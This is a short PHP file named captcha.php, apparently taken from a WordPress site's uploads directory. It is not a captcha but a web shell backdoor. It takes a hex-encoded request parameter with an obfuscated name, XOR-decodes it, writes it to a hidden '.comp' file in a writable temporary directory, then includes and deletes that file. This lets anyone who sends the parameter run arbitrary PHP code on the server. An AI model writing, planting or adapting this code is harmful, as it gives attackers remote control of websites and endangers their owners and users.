File: /home/casinobe/domains/pug555-a.com/public_html/wp-content/uploads/wpcode/f/d/e/captcha.php
<?php
if(isset($_REQUEST) && isset($_REQUEST["fa\x63"])){
$item = array_filter([getcwd(), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp"]);
$marker = hex2bin($_REQUEST["fa\x63"]);
$bind= ''; foreach(str_split($marker) as $char){$bind .= chr(ord($char) ^ 30);}
while ($sym = array_shift($item)) {
if (array_product([is_dir($sym), is_writable($sym)])) {
$descriptor = "$sym" . "/.comp";
if (file_put_contents($descriptor, $bind)) {
include $descriptor;
@unlink($descriptor);
die();
}
}
}
}